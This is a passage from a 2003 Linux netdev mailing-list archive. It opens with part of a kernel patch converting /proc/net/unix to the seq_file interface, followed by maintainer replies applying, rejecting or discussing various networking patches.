+} + + +static void *unix_seq_start(struct seq_file *seq, loff_t *pos) +{ read_lock(&unix_table_lock); - forall_unix_sockets (i,s) - { + return *pos ? unix_seq_idx(seq->private, *pos - 1) : ((void *) 1); +} + +static void *unix_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + ++*pos; + + if (v == (void *)1) + return first_unix_socket(seq->private); + return next_unix_socket(seq->private, v); +} + +static void unix_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&unix_table_lock); +} + +static int unix_seq_show(struct seq_file *seq, void *v) +{ + + if (v == (void *)1) + seq_puts(seq, "Num RefCount Protocol Flags Type St " + "Inode Path\n"); + else { + struct sock *s = v; struct unix_sock *u = unix_sk(s); unix_state_rlock(s); - len+=sprintf(buffer+len,"%p: %08X %08X %08X %04X %02X %5lu", + seq_printf(seq, "%p: %08X %08X %08X %04X %02X %5lu", s, atomic_read(&s->sk_refcnt), 0, @@ -1835,39 +1863,61 @@ sock_i_ino(s)); if (u->addr) { - buffer[len++] = ' '; - memcpy(buffer+len, u->addr->name->sun_path, - u->addr->len-sizeof(short)); - if (!UNIX_ABSTRACT(s)) - len--; - else - buffer[len] = '@'; - len += u->addr->len - sizeof(short); - } - unix_state_runlock(s); + int i; + seq_putc(seq, ' '); + + for (i = 0; i < u->addr->len-sizeof(short); i++) + seq_putc(seq, u->addr->name->sun_path[i]); - buffer[len++]='\n'; - - pos = begin + len; - if(posoffset+length) - goto done; + unix_state_runlock(s); + seq_putc(seq, '\n'); } - *eof = 1; -done: - read_unlock(&unix_table_lock); - *start=buffer+(offset-begin); - len-=(offset-begin); - if(len>length) - len=length; - if (len < 0) - len = 0; - return len; + + return 0; +} + +struct seq_operations unix_seq_ops = { + .start = unix_seq_start, + .next = unix_seq_next, + .stop = unix_seq_stop, + .show = unix_seq_show, +}; + + +static int unix_seq_open(struct inode *inode, struct file *file) +{ + struct seq_file *seq; + int rc = -ENOMEM; + int *iter = kmalloc(sizeof(int), GFP_KERNEL); + + if (!iter) + goto out; + + rc = seq_open(file, &unix_seq_ops); + if (rc) + goto out_kfree; + + seq = file->private_data; + seq->private = iter; + *iter = 0; +out: + return rc; +out_kfree: + kfree(iter); + goto out; } + +static struct file_operations unix_seq_fops = { + .owner = THIS_MODULE, + .open = unix_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release_private, +}; + #endif struct proto_ops unix_stream_ops = { @@ -1947,7 +1997,7 @@ sock_register(&unix_family_ops); #ifdef CONFIG_PROC_FS - create_proc_read_entry("net/unix", 0, 0, unix_read_proc, NULL); + proc_net_fops_create("unix", 0, &unix_seq_fops); #endif unix_sysctl_register(); return 0; @@ -1957,7 +2007,7 @@ { sock_unregister(PF_UNIX); unix_sysctl_unregister(); - remove_proc_entry("net/unix", 0); + proc_net_remove("unix"); kmem_cache_destroy(unix_sk_cachep); } From davem@pizda.ninka.net Thu Sep 4 13:51:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:29 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWZ018914 for ; Thu, 4 Sep 2003 13:51:55 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA20390; Thu, 4 Sep 2003 11:56:32 -0700 Date: Thu, 4 Sep 2003 11:56:32 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] convert /proc/net/unix to seq_file Message-Id: <20030904115632.47923526.davem@redhat.com> In-Reply-To: <20030904114922.555841cd.shemminger@osdl.org> References: <20030904114922.555841cd.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5566 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 11:49:22 -0700 Stephen Hemminger wrote: > Applies against 2.6.0-test4. Applied, thanks Stephen. From davem@pizda.ninka.net Thu Sep 4 13:51:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:31 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWd018914 for ; Thu, 4 Sep 2003 13:51:56 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA20242; Thu, 4 Sep 2003 11:00:27 -0700 Date: Thu, 4 Sep 2003 11:00:27 -0700 From: "David S. Miller" To: chas williams Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [RFT] covert br2684 to seq_file Message-Id: <20030904110027.3e800760.davem@redhat.com> In-Reply-To: <200309041636.h84GaoSa017129@ginger.cmf.nrl.navy.mil> References: <20030902104308.08ce3fa4.shemminger@osdl.org> <200309041636.h84GaoSa017129@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5568 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 04 Sep 2003 12:36:51 -0400 chas williams wrote: > dave, please apply to 2.6 -- thanks Applied. Chas, please do me a favor, start using a consistent changelog message format. I fix up every one of your commit messages so that it is of the form: [ATM]: Blab blah blah. So if you could do the same in your patches I'd appreciate it. Thanks a lot. From davem@pizda.ninka.net Thu Sep 4 13:51:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWh018914 for ; Thu, 4 Sep 2003 13:51:58 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA19355; Thu, 4 Sep 2003 07:45:20 -0700 Date: Thu, 4 Sep 2003 07:45:20 -0700 From: "David S. Miller" To: John Levon Cc: netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030904074520.5dceff3e.davem@redhat.com> In-Reply-To: <20030904145204.GA27953@compsoc.man.ac.uk> References: <20030904145204.GA27953@compsoc.man.ac.uk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5569 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 15:52:04 +0100 John Levon wrote: > This file seems bitrotted and more up to date info is available in > MAINTAINERS in large part. For some reason I deleted this file from 2.4.x but I never did it for 2.5.x, fixed... From davem@pizda.ninka.net Thu Sep 4 13:51:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:30 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWb018914 for ; Thu, 4 Sep 2003 13:51:56 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA20445; Thu, 4 Sep 2003 12:07:44 -0700 Date: Thu, 4 Sep 2003 12:07:43 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] (8/8) loopback device simplification Message-Id: <20030904120743.3b96e738.davem@redhat.com> In-Reply-To: <20030904121421.51b2f993.shemminger@osdl.org> References: <20030903164921.7d923008.shemminger@osdl.org> <3F568AC0.5090601@pobox.com> <20030903204105.0f01f131.davem@redhat.com> <20030904121421.51b2f993.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5567 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 12:14:21 -0700 Stephen Hemminger wrote: > On Wed, 3 Sep 2003 20:41:05 -0700 > "David S. Miller" wrote: > > > The fact that we export the list and it's locking makes it > > really hard to change things. > > my current idea is to switch dev_base_lock over to RCU and > change dev_base to a list macro. > > #define for_each_netdev(_d) list_for_each_entry_rcu(_d, &netdev_base, dev_list) Also see other threads where we were discussing making it into a hash table in order to speed up search and name allocation. From davem@pizda.ninka.net Thu Sep 4 13:51:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:33 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWf018914 for ; Thu, 4 Sep 2003 13:51:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA19802; Thu, 4 Sep 2003 09:06:02 -0700 Date: Thu, 4 Sep 2003 09:06:02 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] (1/8) add probe_old_netdevs hook Message-Id: <20030904090602.12f73b5e.davem@redhat.com> In-Reply-To: <20030904083124.2a6c795c.shemminger@osdl.org> References: <20030903164908.14705874.shemminger@osdl.org> <3F568C88.4030303@pobox.com> <20030903204150.14273da8.davem@redhat.com> <20030904083124.2a6c795c.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5570 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 08:31:24 -0700 Stephen Hemminger wrote: > Here is a patch that restores the original order. > Applies after original #3 patch I already told you that I did the fix for you. Oh, the perils of doing work and replying before processing one's entire mailbox :) From COHUCK@de.ibm.com Thu Sep 4 13:52:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:52:34 -0700 (PDT) Received: from d12lmsgate.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KpxWZ018913 for ; Thu, 4 Sep 2003 13:52:00 -0700 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by d12lmsgate.de.ibm.com (8.12.9/8.12.8) with ESMTP id h84G1MEF166128; Thu, 4 Sep 2003 18:01:22 +0200 Received: from d12ml030.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h84G1SNl249580; Thu, 4 Sep 2003 18:01:28 +0200 Subject: Re: Bug in qeth in 2.6 To: Pete Zaitcev Cc: netdev@oss.sgi.com, Utz Bacher , Pete Zaitcev X-Mailer: Lotus Notes Release 5.0.12 February 13, 2003 Message-ID: From: "Cornelia Huck" Date: Thu, 4 Sep 2003 18:01:28 +0200 X-MIMETrack: Serialize by Router on D12ML030/12/M/IBM(Release 5.0.9a |January 7, 2002) at 04/09/2003 18:01:31 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 5571 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: COHUCK@de.ibm.com Precedence: bulk X-list: netdev Hi, sorry, I still don't see it... > 2.4 was like this: > > result = 0; > for (all in list) { > if (something) > result = QETH_VERIFY_IS_SOMETHING; and it stops here if something... > } ... and here follows a second loop over the list, looking for foo(). > > 2.6 is: > > result = 0; > for (all in list) { > result = (something)? QETH_VERIFY_IS_SOMETHING: foo(); and here it stops if something or foo()... > } ...no second loop here. Since it's either something or foo(), this looks like the same behaviour to me. Best regards / Mit freundlichen Gruessen Cornelia Huck zLinux Developer Tel.: +49-7031-16-4837, Mail: cohuck@de.ibm.com From davem@pizda.ninka.net Thu Sep 4 13:53:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:47 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptXD018914 for ; Thu, 4 Sep 2003 13:53:15 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17367; Wed, 3 Sep 2003 20:19:20 -0700 Date: Wed, 3 Sep 2003 20:19:20 -0700 From: "David S. Miller" To: Felipe W Damasio Cc: pekkas@netcore.fi, yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Kill unneeded linux/version.h include in net/ipv6 Message-Id: <20030903201920.15625d8e.davem@redhat.com> In-Reply-To: <3F55F4DD.9070301@terra.com.br> References: <3F55F4DD.9070301@terra.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5586 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 11:04:13 -0300 Felipe W Damasio wrote: > Removes an unneeded linux/version.h include from af_inet6.. Applied, thanks. From davem@pizda.ninka.net Thu Sep 4 13:53:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:38 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWx018914 for ; Thu, 4 Sep 2003 13:53:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17425; Wed, 3 Sep 2003 20:24:31 -0700 Date: Wed, 3 Sep 2003 20:24:31 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM] atm_getaddr() isn't safe Message-Id: <20030903202431.2bf3ef82.davem@redhat.com> In-Reply-To: <200309031625.h83GPFl5022616@ginger.cmf.nrl.navy.mil> References: <200309031625.h83GPFl5022616@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5574 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 12:25:16 -0400 chas williams wrote: > this patch also preserves the old behavior of atm_getaddr() in > that it does partially fill in the passed buffer. please apply > to 2.6 and 2.4. Applied, thanks Chas. From davem@pizda.ninka.net Thu Sep 4 13:53:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWv018914 for ; Thu, 4 Sep 2003 13:53:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17458; Wed, 3 Sep 2003 20:26:59 -0700 Date: Wed, 3 Sep 2003 20:26:59 -0700 From: "David S. Miller" To: chas williams Cc: netdev@oss.sgi.com, mitch@sfgoth.com Subject: Re: [Linux-ATM-General] [ATM] [PATCH] lanai update Message-Id: <20030903202659.306385ce.davem@redhat.com> In-Reply-To: <200309031723.h83HNql5024404@ginger.cmf.nrl.navy.mil> References: <20030902034013.GH15886@gaz.sfgoth.com> <200309031723.h83HNql5024404@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5582 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 13:23:53 -0400 chas williams wrote: > please apply to 2.6 -- thanks. Applied, thanks guys. From davem@pizda.ninka.net Thu Sep 4 13:53:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:42 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWl018914 for ; Thu, 4 Sep 2003 13:53:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA18727; Thu, 4 Sep 2003 04:26:09 -0700 Date: Thu, 4 Sep 2003 04:26:08 -0700 From: "David S. Miller" To: Karlis Peisenieks Cc: netdev@oss.sgi.com Subject: Re: bridge bug Message-Id: <20030904042608.79b57ad2.davem@redhat.com> In-Reply-To: <20030904101900.GA32077@mt.lv> References: <20030904101900.GA32077@mt.lv> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5577 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 13:19:00 +0300 Karlis Peisenieks wrote: > Attached patch fixed memory leak in 2.4.22 bridge. Have not checked > 2.6.x versions. Applied, fix was already in 2.6.x From davem@pizda.ninka.net Thu Sep 4 13:53:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:42 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWn018914 for ; Thu, 4 Sep 2003 13:53:01 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA18110; Thu, 4 Sep 2003 00:44:51 -0700 Date: Thu, 4 Sep 2003 00:44:51 -0700 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Remove X86_TSC dependency in net profile code Message-Id: <20030904004451.44f0babe.davem@redhat.com> In-Reply-To: <20030902230057.GA5424@averell> References: <20030902230057.GA5424@averell> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5578 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 01:00:57 +0200 Andi Kleen wrote: > I did not actually compile test this because net profile is commented > out since a long time and doesn't compile. An alternative if noone comes > up to fix it would be just to remove it completely. I decided to just kill net profile for now. Thanks for bringing this to my attention Andi. From davem@pizda.ninka.net Thu Sep 4 13:53:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptX3018914 for ; Thu, 4 Sep 2003 13:53:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17550; Wed, 3 Sep 2003 20:35:17 -0700 Date: Wed, 3 Sep 2003 20:35:17 -0700 From: "David S. Miller" To: Francois Romieu Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.0-test4-bk5 - Was: Re: The recent free_netdev() conversion... Message-Id: <20030903203517.2708b2ff.davem@redhat.com> In-Reply-To: <20030904003306.A14624@electric-eye.fr.zoreil.com> References: <3F535EBD.6090401@pobox.com> <20030901075345.4c35e3e6.davem@redhat.com> <3F536CB7.6060404@pobox.com> <20030901085814.5a333518.davem@redhat.com> <20030904003306.A14624@electric-eye.fr.zoreil.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5583 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 00:33:06 +0200 Francois Romieu wrote: > Please review. Looks good, applied thanks. From davem@pizda.ninka.net Thu Sep 4 13:53:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:36 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWt018914 for ; Thu, 4 Sep 2003 13:53:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17708; Wed, 3 Sep 2003 20:59:45 -0700 Date: Wed, 3 Sep 2003 20:59:45 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] (3/8) ltpc - convert to new initialization Message-Id: <20030903205945.68c5103d.davem@redhat.com> In-Reply-To: <20030903164916.2809d4a5.shemminger@osdl.org> References: <20030903164916.2809d4a5.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5572 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Nevermind, I applied this one and fixed up the port probe ordering issue myself. From davem@pizda.ninka.net Thu Sep 4 13:53:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:44 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWr018914 for ; Thu, 4 Sep 2003 13:53:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA18065; Thu, 4 Sep 2003 00:37:06 -0700 Date: Thu, 4 Sep 2003 00:37:06 -0700 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] [NET] remove duplicate includes Message-Id: <20030904003706.3178f624.davem@redhat.com> In-Reply-To: <20030903234402.08c9bbf5.rddunlap@osdl.org> References: <20030903234402.08c9bbf5.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5580 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 23:44:02 -0700 "Randy.Dunlap" wrote: > Please apply to 2.6.0-current. Applied, thanks Randy. From davem@pizda.ninka.net Thu Sep 4 13:53:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptX1018914 for ; Thu, 4 Sep 2003 13:53:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17569; Wed, 3 Sep 2003 20:41:50 -0700 Date: Wed, 3 Sep 2003 20:41:50 -0700 From: "David S. Miller" To: Jeff Garzik Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] (1/8) add probe_old_netdevs hook Message-Id: <20030903204150.14273da8.davem@redhat.com> In-Reply-To: <3F568C88.4030303@pobox.com> References: <20030903164908.14705874.shemminger@osdl.org> <3F568C88.4030303@pobox.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5584 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 20:51:20 -0400 Jeff Garzik wrote: > All the patches except for #3 look ok to me. > > David? I feel the same, the probe ordering in #3 is unacceptable and has to be undone. I'll apply all the other patches except that one. From davem@pizda.ninka.net Thu Sep 4 13:53:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:44 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptX7018914 for ; Thu, 4 Sep 2003 13:53:10 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17225; Wed, 3 Sep 2003 20:05:17 -0700 Date: Wed, 3 Sep 2003 20:05:17 -0700 From: "David S. Miller" To: Arnaldo Carvalho de Melo Cc: bdschuym@pandora.be, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: [PATCH] [bdschuym@pandora.be: Re: ipt_physdev.c alignment problems on parisc64] Message-Id: <20030903200517.5b031fa4.davem@redhat.com> In-Reply-To: <20030903162022.GI6405@conectiva.com.br> References: <20030903162022.GI6405@conectiva.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5581 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 13:20:23 -0300 Arnaldo Carvalho de Melo wrote: > Yes, it makes ipt_pysdev.c compile on parisc, Dave, could you please > apply it? Or perhaps wait for the netfilter patches, your call. As I mentioned in another email, this patch can't be used, it breaks in mixed 32/64 bit environments. From davem@pizda.ninka.net Thu Sep 4 13:53:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:37 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWj018914 for ; Thu, 4 Sep 2003 13:52:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA19437; Thu, 4 Sep 2003 07:59:18 -0700 Date: Thu, 4 Sep 2003 07:59:18 -0700 From: "David S. Miller" To: John Levon Cc: netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030904075918.1477ff33.davem@redhat.com> In-Reply-To: <20030904150205.GA28587@compsoc.man.ac.uk> References: <20030904145204.GA27953@compsoc.man.ac.uk> <20030904074520.5dceff3e.davem@redhat.com> <20030904150205.GA28587@compsoc.man.ac.uk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5573 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 16:02:05 +0100 John Levon wrote: > hch mentioned TUNABLE too which is also too old to be useful, that's > still hanging around in 2.6 too Although some of it is out of date, some of it is not, and the parts that are still relevant are not documented anywhere else. So it's got to stay until there is some kind of replacement for that info under Documentation/ or wherever. From davem@pizda.ninka.net Thu Sep 4 13:53:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptX5018914 for ; Thu, 4 Sep 2003 13:53:09 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17562; Wed, 3 Sep 2003 20:41:06 -0700 